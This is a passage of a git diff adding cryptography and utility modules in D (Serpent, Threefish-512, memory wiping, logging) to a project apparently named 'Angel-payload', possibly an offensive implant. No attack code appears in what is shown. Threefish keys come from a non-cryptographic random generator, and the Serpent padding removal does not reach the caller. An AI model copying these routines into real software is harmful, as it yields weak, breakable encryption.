output[12..16]); + } + + /** + * Decrypt one block of ciphertext. + * + */ + private void decryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc + { + X3 = wKey[131] ^ fromBigEndian!uint(input[0..4]); + X2 = wKey[130] ^ fromBigEndian!uint(input[4..8]); + X1 = wKey[129] ^ fromBigEndian!uint(input[8..12]); + X0 = wKey[128] ^ fromBigEndian!uint(input[12..16]); + + ib7(X0, X1, X2, X3); + X0 ^= wKey[124]; + X1 ^= wKey[125]; + X2 ^= wKey[126]; + X3 ^= wKey[127]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[120]; + X1 ^= wKey[121]; + X2 ^= wKey[122]; + X3 ^= wKey[123]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[116]; + X1 ^= wKey[117]; + X2 ^= wKey[118]; + X3 ^= wKey[119]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[112]; + X1 ^= wKey[113]; + X2 ^= wKey[114]; + X3 ^= wKey[115]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[108]; + X1 ^= wKey[109]; + X2 ^= wKey[110]; + X3 ^= wKey[111]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[104]; + X1 ^= wKey[105]; + X2 ^= wKey[106]; + X3 ^= wKey[107]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[100]; + X1 ^= wKey[101]; + X2 ^= wKey[102]; + X3 ^= wKey[103]; + inverseLT(); + ib0(X0, X1, X2, X3); + X0 ^= wKey[96]; + X1 ^= wKey[97]; + X2 ^= wKey[98]; + X3 ^= wKey[99]; + inverseLT(); + ib7(X0, X1, X2, X3); + X0 ^= wKey[92]; + X1 ^= wKey[93]; + X2 ^= wKey[94]; + X3 ^= wKey[95]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[88]; + X1 ^= wKey[89]; + X2 ^= wKey[90]; + X3 ^= wKey[91]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[84]; + X1 ^= wKey[85]; + X2 ^= wKey[86]; + X3 ^= wKey[87]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[80]; + X1 ^= wKey[81]; + X2 ^= wKey[82]; + X3 ^= wKey[83]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[76]; + X1 ^= wKey[77]; + X2 ^= wKey[78]; + X3 ^= wKey[79]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[72]; + X1 ^= wKey[73]; + X2 ^= wKey[74]; + X3 ^= wKey[75]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[68]; + X1 ^= wKey[69]; + X2 ^= wKey[70]; + X3 ^= wKey[71]; + inverseLT(); + ib0(X0, X1, X2, X3); + X0 ^= wKey[64]; + X1 ^= wKey[65]; + X2 ^= wKey[66]; + X3 ^= wKey[67]; + inverseLT(); + ib7(X0, X1, X2, X3); + X0 ^= wKey[60]; + X1 ^= wKey[61]; + X2 ^= wKey[62]; + X3 ^= wKey[63]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[56]; + X1 ^= wKey[57]; + X2 ^= wKey[58]; + X3 ^= wKey[59]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[52]; + X1 ^= wKey[53]; + X2 ^= wKey[54]; + X3 ^= wKey[55]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[48]; + X1 ^= wKey[49]; + X2 ^= wKey[50]; + X3 ^= wKey[51]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[44]; + X1 ^= wKey[45]; + X2 ^= wKey[46]; + X3 ^= wKey[47]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[40]; + X1 ^= wKey[41]; + X2 ^= wKey[42]; + X3 ^= wKey[43]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[36]; + X1 ^= wKey[37]; + X2 ^= wKey[38]; + X3 ^= wKey[39]; + inverseLT(); + ib0(X0, X1, X2, X3); + X0 ^= wKey[32]; + X1 ^= wKey[33]; + X2 ^= wKey[34]; + X3 ^= wKey[35]; + inverseLT(); + ib7(X0, X1, X2, X3); + X0 ^= wKey[28]; + X1 ^= wKey[29]; + X2 ^= wKey[30]; + X3 ^= wKey[31]; + inverseLT(); + ib6(X0, X1, X2, X3); + X0 ^= wKey[24]; + X1 ^= wKey[25]; + X2 ^= wKey[26]; + X3 ^= wKey[27]; + inverseLT(); + ib5(X0, X1, X2, X3); + X0 ^= wKey[20]; + X1 ^= wKey[21]; + X2 ^= wKey[22]; + X3 ^= wKey[23]; + inverseLT(); + ib4(X0, X1, X2, X3); + X0 ^= wKey[16]; + X1 ^= wKey[17]; + X2 ^= wKey[18]; + X3 ^= wKey[19]; + inverseLT(); + ib3(X0, X1, X2, X3); + X0 ^= wKey[12]; + X1 ^= wKey[13]; + X2 ^= wKey[14]; + X3 ^= wKey[15]; + inverseLT(); + ib2(X0, X1, X2, X3); + X0 ^= wKey[8]; + X1 ^= wKey[9]; + X2 ^= wKey[10]; + X3 ^= wKey[11]; + inverseLT(); + ib1(X0, X1, X2, X3); + X0 ^= wKey[4]; + X1 ^= wKey[5]; + X2 ^= wKey[6]; + X3 ^= wKey[7]; + inverseLT(); + ib0(X0, X1, X2, X3); + + toBigEndian!uint(X3 ^ wKey[3], output[0..4]); + toBigEndian!uint(X2 ^ wKey[2], output[4..8]); + toBigEndian!uint(X1 ^ wKey[1], output[8..12]); + toBigEndian!uint(X0 ^ wKey[0], output[12..16]); + } + + private void encryptb(in ubyte[] input, ubyte[] output) nothrow @nogc { + ubyte padding = cast(ubyte)(blockSize - (input.length % blockSize)); + if (input.length % blockSize != 0) { + assert(output.length >= input.length + padding, "Output size must be pre-allocated to include padding"); + } else { + assert(output.length == input.length, "Output size must match input size for full blocks"); + } + + output[0 .. input.length] = input[]; + + if (input.length % blockSize != 0) { + for (size_t i = input.length; i < output.length; i++) { + output[i] = padding; + } + } + + ubyte[blockSize] blockOutput; + for (size_t i = 0; i < output.length; i += blockSize) { + auto blockInput = output[i .. i + blockSize]; + encryptBlock(blockInput, blockOutput); + output[i .. i + blockSize] = blockOutput[]; + } + } + + private void decryptb(in ubyte[] input, ubyte[] output) nothrow @nogc { + assert(input.length % blockSize == 0, "Invalid encrypted data length"); + + assert(output.length == input.length, "Output size must be pre-allocated"); + + ubyte[blockSize] blockOutput; + for (size_t i = 0; i < input.length; i += blockSize) { + auto blockInput = input[i .. i + blockSize]; + decryptBlock(blockInput, blockOutput); + output[i .. i + blockSize] = blockOutput[]; + } + + if (output.length > 0) { + ubyte padding = output[$ - 1]; + if (padding > 0 && padding <= blockSize) { + for (size_t i = output.length - padding; i < output.length; i++) { + assert(output[i] == padding, "Invalid padding bytes"); + } + + auto finalLength = output.length - padding; + output = output[0 .. finalLength]; + } + } + } + + /** + * The sboxes below are based on the work of Brian Gladman and + * Sam Simpson, whose original notice appears below. + *
+ * For further details see:
+ * http://fp.gladman.plus.com/cryptography_technology/serpent/
+ */
+
+ /* Partially optimised Serpent S Box boolean functions derived */
+ /* using a recursive descent analyser but without a full search */
+ /* of all subtrees. This set of S boxes is the result of work */
+ /* by Sam Simpson and Brian Gladman using the spare time on a */
+ /* cluster of high capacity servers to search for S boxes with */
+ /* this customised search engine. There are now an average of */
+ /* 15.375 terms per S box. */
+ /* */
+ /* Copyright: Dr B. R Gladman (gladman@seven77.demon.co.uk) */
+ /* and Sam Simpson (s.simpson@mia.co.uk) */
+ /* 17th December 1998 */
+ /* */
+ /* We hereby give permission for information in this file to be */
+ /* used freely subject only to acknowledgement of its origin. */
+
+ /**
+ * S0 - { 3, 8,15, 1,10, 6, 5,11,14,13, 4, 2, 7, 0, 9,12 } - 15 terms.
+ */
+ nothrow @nogc {
+ void sb0(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a ^ d;
+ uint t3 = c ^ t1;
+ uint t4 = b ^ t3;
+ X3 = (a & d) ^ t4;
+ uint t7 = a ^ (b & t1);
+ X2 = t4 ^ (c | t7);
+ uint t12 = X3 & (t3 ^ t7);
+ X1 = (~t3) ^ t12;
+ X0 = t12 ^ (~t7);
+ }
+
+ /**
+ * InvSO - {13, 3,11, 0,10, 6, 5,12, 1,14, 4, 7,15, 9, 8, 2 } - 15 terms.
+ */
+ void ib0(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ b;
+ uint t4 = d ^ (t1 | t2);
+ uint t5 = c ^ t4;
+ X2 = t2 ^ t5;
+ uint t8 = t1 ^ (d & t2);
+ X1 = t4 ^ (X2 & t8);
+ X3 = (a & t4) ^ (t5 | X1);
+ X0 = X3 ^ (t5 ^ t8);
+ }
+
+ /**
+ * S1 - {15,12, 2, 7, 9, 0, 5,10, 1,11,14, 8, 6,13, 3, 4 } - 14 terms.
+ */
+ void sb1(uint a, uint b, uint c, uint d)
+ {
+ uint t2 = b ^ (~a);
+ uint t5 = c ^ (a | t2);
+ X2 = d ^ t5;
+ uint t7 = b ^ (d | t2);
+ uint t8 = t2 ^ X2;
+ X3 = t8 ^ (t5 & t7);
+ uint t11 = t5 ^ t7;
+ X1 = X3 ^ t11;
+ X0 = t5 ^ (t8 & t11);
+ }
+
+ /**
+ * InvS1 - { 5, 8, 2,14,15, 6,12, 3,11, 4, 7, 9, 1,13,10, 0 } - 14 steps.
+ */
+ void ib1(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = b ^ d;
+ uint t3 = a ^ (b & t1);
+ uint t4 = t1 ^ t3;
+ X3 = c ^ t4;
+ uint t7 = b ^ (t1 & t3);
+ uint t8 = X3 | t7;
+ X1 = t3 ^ t8;
+ uint t10 = ~X1;
+ uint t11 = X3 ^ t7;
+ X0 = t10 ^ t11;
+ X2 = t4 ^ (t10 | t11);
+ }
+
+ /**
+ * S2 - { 8, 6, 7, 9, 3,12,10,15,13, 1,14, 4, 0,11, 5, 2 } - 16 terms.
+ */
+ void sb2(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = b ^ d;
+ uint t3 = c & t1;
+ X0 = t2 ^ t3;
+ uint t5 = c ^ t1;
+ uint t6 = c ^ X0;
+ uint t7 = b & t6;
+ X3 = t5 ^ t7;
+ X2 = a ^ ((d | t7) & (X0 | t5));
+ X1 = (t2 ^ X3) ^ (X2 ^ (d | t1));
+ }
+
+ /**
+ * InvS2 - {12, 9,15, 4,11,14, 1, 2, 0, 3, 6,13, 5, 8,10, 7 } - 16 steps.
+ */
+ void ib2(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = b ^ d;
+ uint t2 = ~t1;
+ uint t3 = a ^ c;
+ uint t4 = c ^ t1;
+ uint t5 = b & t4;
+ X0 = t3 ^ t5;
+ uint t7 = a | t2;
+ uint t8 = d ^ t7;
+ uint t9 = t3 | t8;
+ X3 = t1 ^ t9;
+ uint t11 = ~t4;
+ uint t12 = X0 | X3;
+ X1 = t11 ^ t12;
+ X2 = (d & t11) ^ (t3 ^ t12);
+ }
+
+ /**
+ * S3 - { 0,15,11, 8,12, 9, 6, 3,13, 1, 2, 4,10, 7, 5,14 } - 16 terms.
+ */
+ void sb3(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a ^ b;
+ uint t2 = a & c;
+ uint t3 = a | d;
+ uint t4 = c ^ d;
+ uint t5 = t1 & t3;
+ uint t6 = t2 | t5;
+ X2 = t4 ^ t6;
+ uint t8 = b ^ t3;
+ uint t9 = t6 ^ t8;
+ uint t10 = t4 & t9;
+ X0 = t1 ^ t10;
+ uint t12 = X2 & X0;
+ X1 = t9 ^ t12;
+ X3 = (b | d) ^ (t4 ^ t12);
+ }
+
+ /**
+ * InvS3 - { 0, 9,10, 7,11,14, 6,13, 3, 5,12, 2, 4, 8,15, 1 } - 15 terms
+ */
+ void ib3(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a | b;
+ uint t2 = b ^ c;
+ uint t3 = b & t2;
+ uint t4 = a ^ t3;
+ uint t5 = c ^ t4;
+ uint t6 = d | t4;
+ X0 = t2 ^ t6;
+ uint t8 = t2 | t6;
+ uint t9 = d ^ t8;
+ X2 = t5 ^ t9;
+ uint t11 = t1 ^ t9;
+ uint t12 = X0 & t11;
+ X3 = t4 ^ t12;
+ X1 = X3 ^ (X0 ^ t11);
+ }
+
+ /**
+ * S4 - { 1,15, 8, 3,12, 0,11, 6, 2, 5, 4,10, 9,14, 7,13 } - 15 terms.
+ */
+ void sb4(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = a ^ d;
+ uint t2 = d & t1;
+ uint t3 = c ^ t2;
+ uint t4 = b | t3;
+ X3 = t1 ^ t4;
+ uint t6 = ~b;
+ uint t7 = t1 | t6;
+ X0 = t3 ^ t7;
+ uint t9 = a & X0;
+ uint t10 = t1 ^ t6;
+ uint t11 = t4 & t10;
+ X2 = t9 ^ t11;
+ X1 = (a ^ t3) ^ (t10 & X2);
+ }
+
+ /**
+ * InvS4 - { 5, 0, 8, 3,10, 9, 7,14, 2,12,11, 6, 4,15,13, 1 } - 15 terms.
+ */
+ void ib4(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = c | d;
+ uint t2 = a & t1;
+ uint t3 = b ^ t2;
+ uint t4 = a & t3;
+ uint t5 = c ^ t4;
+ X1 = d ^ t5;
+ uint t7 = ~a;
+ uint t8 = t5 & X1;
+ X3 = t3 ^ t8;
+ uint t10 = X1 | t7;
+ uint t11 = d ^ t10;
+ X0 = X3 ^ t11;
+ X2 = (t3 & t11) ^ (X1 ^ t7);
+ }
+
+ /**
+ * S5 - {15, 5, 2,11, 4,10, 9,12, 0, 3,14, 8,13, 6, 7, 1 } - 16 terms.
+ */
+ void sb5(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ b;
+ uint t3 = a ^ d;
+ uint t4 = c ^ t1;
+ uint t5 = t2 | t3;
+ X0 = t4 ^ t5;
+ uint t7 = d & X0;
+ uint t8 = t2 ^ X0;
+ X1 = t7 ^ t8;
+ uint t10 = t1 | X0;
+ uint t11 = t2 | t7;
+ uint t12 = t3 ^ t10;
+ X2 = t11 ^ t12;
+ X3 = (b ^ t7) ^ (X1 & t12);
+ }
+
+ /**
+ * InvS5 - { 8,15, 2, 9, 4, 1,13,14,11, 6, 5, 3, 7,12,10, 0 } - 16 terms.
+ */
+ void ib5(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~c;
+ uint t2 = b & t1;
+ uint t3 = d ^ t2;
+ uint t4 = a & t3;
+ uint t5 = b ^ t1;
+ X3 = t4 ^ t5;
+ uint t7 = b | X3;
+ uint t8 = a & t7;
+ X1 = t3 ^ t8;
+ uint t10 = a | d;
+ uint t11 = t1 ^ t7;
+ X0 = t10 ^ t11;
+ X2 = (b & t10) ^ (t4 | (a ^ c));
+ }
+
+ /**
+ * S6 - { 7, 2,12, 5, 8, 4, 6,11,14, 9, 1,15,13, 3,10, 0 } - 15 terms.
+ */
+ void sb6(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ d;
+ uint t3 = b ^ t2;
+ uint t4 = t1 | t2;
+ uint t5 = c ^ t4;
+ X1 = b ^ t5;
+ uint t7 = t2 | X1;
+ uint t8 = d ^ t7;
+ uint t9 = t5 & t8;
+ X2 = t3 ^ t9;
+ uint t11 = t5 ^ t8;
+ X0 = X2 ^ t11;
+ X3 = (~t5) ^ (t3 & t11);
+ }
+
+ /**
+ * InvS6 - {15,10, 1,13, 5, 3, 6, 0, 4, 9,14, 7, 2,12, 8,11 } - 15 terms.
+ */
+ void ib6(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = ~a;
+ uint t2 = a ^ b;
+ uint t3 = c ^ t2;
+ uint t4 = c | t1;
+ uint t5 = d ^ t4;
+ X1 = t3 ^ t5;
+ uint t7 = t3 & t5;
+ uint t8 = t2 ^ t7;
+ uint t9 = b | t8;
+ X3 = t5 ^ t9;
+ uint t11 = b | X3;
+ X0 = t8 ^ t11;
+ X2 = (d & t1) ^ (t3 ^ t11);
+ }
+
+ /**
+ * S7 - { 1,13,15, 0,14, 8, 2,11, 7, 4,12,10, 9, 3, 5, 6 } - 16 terms.
+ */
+ void sb7(uint a, uint b, uint c, uint d)
+ {
+ uint t1 = b ^ c;
+ uint t2 = c & t1;
+ uint t3 = d ^ t2;
+ uint t4 = a ^ t3;
+ uint t5 = d | t1;
+ uint t6 = t4 & t5;
+ X1 = b ^ t6;
+ uint t8 = t3 | X1;
+ uint t9 = a & t4;
+ X3 = t1 ^ t9;
+ uint t11 = t4 ^ t8;
+ uint t12 = X3 & t11;
+ X2 = t3 ^ t12;
+ X0 = (~t11) ^ (X3 & X2);
+ }
+
+ /**
+ * InvS7 - { 3, 0, 6,13, 9,14,15, 8, 5,12,11, 7,10, 1, 4, 2 } - 17 terms.
+ */
+ void ib7(uint a, uint b, uint c, uint d)
+ {
+ uint t3 = c | (a & b);
+ uint t4 = d & (a | b);
+ X3 = t3 ^ t4;
+ uint t6 = ~d;
+ uint t7 = b ^ t4;
+ uint t9 = t7 | (X3 ^ t6);
+ X1 = a ^ t9;
+ X0 = (c ^ t7) ^ (d | X1);
+ X2 = (t3 ^ X1) ^ (X0 ^ (a & X3));
+ }
+
+ /**
+ * Apply the linear transformation to the register set.
+ */
+ void LT()
+ {
+ uint x0 = rotateLeft(X0, 13);
+ uint x2 = rotateLeft(X2, 3);
+ uint x1 = X1 ^ x0 ^ x2 ;
+ uint x3 = X3 ^ x2 ^ x0 << 3;
+
+ X1 = rotateLeft(x1, 1);
+ X3 = rotateLeft(x3, 7);
+ X0 = rotateLeft(x0 ^ X1 ^ X3, 5);
+ X2 = rotateLeft(x2 ^ X3 ^ (X1 << 7), 22);
+ }
+
+ /**
+ * Apply the inverse of the linear transformation to the register set.
+ */
+ void inverseLT()
+ {
+ uint x2 = rotateRight(X2, 22) ^ X3 ^ (X1 << 7);
+ uint x0 = rotateRight(X0, 5) ^ X1 ^ X3;
+ uint x3 = rotateRight(X3, 7);
+ uint x1 = rotateRight(X1, 1);
+ X3 = x3 ^ x2 ^ x0 << 3;
+ X1 = x1 ^ x0 ^ x2;
+ X2 = rotateRight(x2, 3);
+ X0 = rotateRight(x0, 13);
+ }
+ }
+}
\ No newline at end of file
diff --git a/full/Angel-payload/angel/utils/cryptography/threefish.d b/full/Angel-payload/angel/utils/cryptography/threefish.d
new file mode 100644
index 0000000..5c7a290
--- /dev/null
+++ b/full/Angel-payload/angel/utils/cryptography/threefish.d
@@ -0,0 +1,261 @@
+module angel.utils.cryptography.threefish;
+
+import std.random : Random, unpredictableSeed, uniform;
+
+// memcpy
+extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n);
+
+class Threefish512
+{
+ private {
+ // Размер блока шифра
+ enum blockSize = 64;
+ // Количество 64-битных слов в ключе (и в блоке)
+ enum Nw = 8;
+ // Количество раундов
+ enum Nr = 72;
+ // Количество раундов (за вычетом последнего)
+ enum Ns = Nr / 4;
+ // Функция перестановки
+ uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3];
+ uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3];
+
+ // Функция смешивания и перестановки
+ uint[4][8] r = [
+ [46, 36, 19, 37],
+ [33, 27, 14, 42],
+ [17, 49, 36, 39],
+ [44, 9 , 54, 56],
+ [39, 30, 34, 24],
+ [13, 50, 10, 17],
+ [25, 29, 39, 43],
+ [8 , 35, 56, 22]
+ ];
+
+ // Твик-значение (свободный параметр алгоритма)
+ ulong[3] t;
+ // Раундовые ключи
+ ulong[8][Ns + 1] subKeys;
+
+ auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y)
+ {
+ y[0] = x[0] + x[1];
+ y[1] = (x[1] << r) | (x[1] >> (64 - r));
+ y[1] ^= y[0];
+ }
+
+ auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x)
+ {
+ y[1] ^= y[0];
+ x[1] = (y[1] << (64 - r)) | (y[1] >> r);
+ x[0] = y[0] - x[1];
+ }
+
+ alias _mod8 = (ulong a) => a & 7UL;
+ }
+
+ /// Шифрование блока
+ /// plain - указатель на блок для шифрования, c - массив-приемник результата
+ void crypt(ulong* plainData, ulong* c) @system
+ {
+ ulong[8] f;
+ ulong[8] e;
+ ulong[2] y;
+ ulong[2] x;
+ ulong[8] v;
+ uint i;
+
+ memcpy (&v[0], plainData, 64);
+
+ for (uint round = 0; round < Nr; round++)
+ {
+ if (round % 4 == 0)
+ {
+ uint s = round >> 2;
+
+ for (i = 0; i < Nw; i++)
+ {
+ e[i] = v[i] + subKeys[s][i];
+ }
+ }
+ else
+ {
+ for (i = 0; i < Nw; i++)
+ {
+ e[i] = v[i];
+ }
+ }
+
+ for (i = 0; i < Nw / 2; i++)
+ {
+ x[0] = e[i * 2];
+ x[1] = e[i * 2 + 1];
+
+ _mix(x, r[cast(uint) _mod8(round)][i], y);
+
+ f[i * 2] = y[0];
+ f[i * 2 + 1] = y[1];
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ v[i] = f[p[i]];
+ }
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ c[i] = v[i] + subKeys[Ns][i];
+ }
+ }
+
+ /// Шифрование блока (безопасная версия)
+ /// plain - массив с данными блока
+ auto crypt(ulong[8] plainData)
+ {
+ ulong[8] c = 0;
+ crypt(plainData.ptr, c.ptr);
+ return c;
+ }
+
+ /// Дешифрование блока
+ /// plain - указатель на блок для дешифрования, c - массив-приемник результата
+ void decrypt(ulong* plainData, ulong* c) @system
+ {
+ ulong[8] f;
+ ulong[8] e;
+ ulong[2] y;
+ ulong[2] x;
+ ulong[8] v;
+ uint i;
+
+ memcpy(&v[0], plainData, 64);
+
+ for (uint round = Nr; round > 0; round--)
+ {
+ if (round % 4 == 0)
+ {
+ uint s = round >> 2;
+ for (i = 0; i < Nw; i++)
+ {
+ f[i] = v[i] - subKeys[s][i];
+ }
+ }
+ else
+ {
+ for (i = 0; i < Nw; i++)
+ {
+ f[i] = v[i];
+ }
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ e[i] = f[p_1[i]];
+ }
+
+ for (i = 0; i < Nw / 2; i++)
+ {
+ y[0] = e[i * 2];
+ y[1] = e[i * 2 + 1];
+
+ _demix(y, r[cast(uint) _mod8(round - 1)][i], x);
+
+ v[i * 2] = x[0];
+ v[i * 2 + 1] = x[1];
+ }
+ }
+
+ for (i = 0; i < Nw; i++)
+ {
+ c[i] = v[i] - subKeys[0][i];
+ }
+ }
+
+ /// Дешифрование блока (безопасная версия)
+ /// plain - массив с данными блока
+ auto decrypt(ulong[8] plain)
+ {
+ ulong[8] c = 0;
+ decrypt(plain.ptr, c.ptr);
+ return c;
+ }
+
+ /// Подготовка раундовых ключей
+ /// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
+ void setup(ulong* keyData, ulong* tweakData) @system
+ {
+ uint i;
+ ulong[8] K;
+ ulong[2] T;
+ ulong[9] key;
+
+ // C240 constant
+ ulong kNw = 0x1BD11BDAA9FC1A22;
+
+ memcpy(&K[0], &keyData[0], 64);
+ memcpy(&T[0], &tweakData[0], 16);
+
+ for (i = 0; i < Nw; i++)
+ {
+ kNw ^= K[i];
+ key[i] = K[i];
+ }
+
+ key[8] = kNw;
+
+ t[0] = T[0];
+ t[1] = T[1];
+ t[2] = T[0] ^ T[1];
+
+ for (uint round = 0; round <= Ns; round++)
+ {
+ for (i = 0; i < Nw; i++)
+ {
+ subKeys[round][i] = key[(round + i) % (Nw + 1)];
+
+ if (i == Nw - 3)
+ {
+ subKeys[round][i] += t[round % 3];
+ }
+ else if (i == Nw - 2)
+ {
+ subKeys[round][i] += t[(round + 1) % 3];
+ }
+ else if (i == Nw - 1)
+ {
+ subKeys[round][i] += round;
+ }
+ }
+ }
+ }
+
+ /// Подготовка раундовых ключей (безопасная версия)
+ /// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
+ void setup(ulong[8] keyData, ulong[2] tweakData)
+ {
+ setup(keyData.ptr, tweakData.ptr);
+ }
+
+ public static ulong[8] generateKey()
+ {
+ ulong[8] key;
+ auto rng = Random(unpredictableSeed);
+ foreach (i; 0 .. 8)
+ {
+ key[i] = uniform!ulong(rng);
+ }
+ return key;
+ }
+
+ public static ulong[2] generateTweak()
+ {
+ ulong[2] tweak;
+ auto rng = Random(unpredictableSeed);
+ foreach (i; 0 .. 2)
+ {
+ tweak[i] = uniform!ulong(rng);
+ }
+ return tweak;
+ }
+}
\ No newline at end of file
diff --git a/full/Angel-payload/angel/utils/cryptography/utils.d b/full/Angel-payload/angel/utils/cryptography/utils.d
new file mode 100644
index 0000000..acee615
--- /dev/null
+++ b/full/Angel-payload/angel/utils/cryptography/utils.d
@@ -0,0 +1,109 @@
+module angel.utils.cryptography.utils;
+
+import core.vararg;
+import std.traits;
+import std.algorithm;
+
+/// TODO: neat variadic implementation of `wipe()`
+
+/// Clears data in memory.
+@safe @nogc nothrow
+void wipe(T)(ref T t) {
+ static if(is(typeof(cast (ubyte[]) t))) {
+ ubyte[] bytes = cast(ubyte[]) t;
+
+ bytes[] = 0;
+
+ if(!all!"a == 0"(bytes[])) {
+ // This should not get optimized away.
+ assert(false, "Wiping failed.");
+ }
+ } else static if ( is(typeof( {T a = T.init;} ))) {
+ t = T.init;
+
+ if(t != T.init) {
+ // This should not get optimized away.
+ assert(false, "Wiping failed.");
+ }
+ } else {
+ static assert(false, "Type not supported for wiping: " ~ T.stringof);
+ }
+}
+
+
+@safe @nogc nothrow
+void wipe(T...)(ref T ts) {
+ foreach(ref t; ts) {
+ wipe(t);
+ }
+}
+
+// test static arrays
+unittest {
+ ubyte[4] buf1 = [1,2,3,4];
+ uint[4] buf2 = [1,2,3,4];
+ size_t[4] buf3 = [1,2,3,4];
+
+ wipe(buf1);
+ wipe(buf2);
+ wipe(buf3);
+
+ assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[].");
+}
+
+// test dynamic arrays
+unittest {
+ ubyte[] buf1 = [1,2,3,4];
+ uint[] buf2 = [1,2,3,4];
+ size_t[] buf3 = [1,2,3,4];
+
+ wipe(buf1, buf2, buf3);
+
+ assert(all!"a == 0"(buf1), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf2), "Failed to wipe ubyte[].");
+ assert(all!"a == 0"(buf3), "Failed to wipe ubyte[].");
+}
+
+unittest {
+ int a = 42;
+ int b = 84;
+ ubyte c = 1;
+
+ wipe(a, b, c);
+
+ assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!");
+}
+
+/// Compares a and b in constant time.
+///
+/// Returns: 0 if a == b, some other value if a != b.
+bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc
+in {
+ assert(a.length == b.length, "Unequal length.");
+} body {
+ T result = 0;
+ size_t i = 0;
+
+ while(i < a.length) {
+ result |= a[i] ^ b[i];
+ ++i;
+ }
+
+ if(i != a.length) {
+ // Just to be sure that the compiler optimization does not destroy const time.
+ assert(false);
+ }
+
+ return result == 0;
+}
+
+// test crypto_equals
+unittest {
+ ubyte[32] f = 0;
+ immutable ubyte[32] zero = 0;
+ assert(crypto_equals(f[], zero[]));
+ f[8] = 1;
+ assert(!crypto_equals(f[], zero[]));
+}
\ No newline at end of file
diff --git a/full/Angel-payload/angel/utils/init.d b/full/Angel-payload/angel/utils/init.d
new file mode 100644
index 0000000..76c8f26
--- /dev/null
+++ b/full/Angel-payload/angel/utils/init.d
@@ -0,0 +1,14 @@
+module angel.utils.init;
+
+// Internal imports
+import angel.utils.constants;
+import angel.utils.logging;
+// External imports
+import std.stdio;
+import std.file;
+
+void init() {
+ if (!exists(Constants.workdir)) {
+ mkdir(Constants.workdir);
+ }
+}
\ No newline at end of file
diff --git a/full/Angel-payload/angel/utils/logging.d b/full/Angel-payload/angel/utils/logging.d
new file mode 100644
index 0000000..47a0d19
--- /dev/null
+++ b/full/Angel-payload/angel/utils/logging.d
@@ -0,0 +1,58 @@
+module angel.utils.logging;
+
+// Internal imports
+import angel.config : config;
+import angel.utils.constants;
+// External imports
+import std.stdio;
+import std.datetime;
+import std.file;
+import std.format;
+import std.string;
+
+enum LogLevel {
+ Debug,
+ Event,
+ Warning,
+ Error
+}
+
+class Logger {
+ private static string getTimestamp() {
+ auto now = Clock.currTime();
+ return format!"%04d-%02d-%02d %02d:%02d:%02d"(
+ now.year, now.month, now.day,
+ now.hour, now.minute, now.second
+ );
+ }
+
+ private static string getLogSymbol(LogLevel level) {
+ switch (level) {
+ case LogLevel.Debug: return "[*]";
+ case LogLevel.Event: return "[i]";
+ case LogLevel.Warning: return "[!]";
+ case LogLevel.Error: return "[E]";
+ default: return "[?]";
+ }
+ }
+
+ private static void writeToFile(string message) {
+ auto file = File(Constants.logFilePath, "a");
+ file.write(message ~ "\n");
+ file.close();
+ }
+
+ public static void log(LogLevel level, string message) {
+ auto timestamp = getTimestamp();
+ auto symbol = getLogSymbol(level);
+
+ auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
+
+ writeToFile(logMessage);
+ if (level == LogLevel.Debug && !config.debug_mode) {
+ return;
+ } else {
+ writeln(logMessage);
+ }
+ }
+}
diff --git a/full/Angel-payload/angel/utils/utils.d b/full/Angel-payload/angel/utils/utils.d
new file mode 100644
index 0000000..f1fffeb
--- /dev/null
+++ b/full/Angel-payload/angel/utils/utils.d
@@ -0,0 +1,81 @@
+module angel.utils.utils;
+
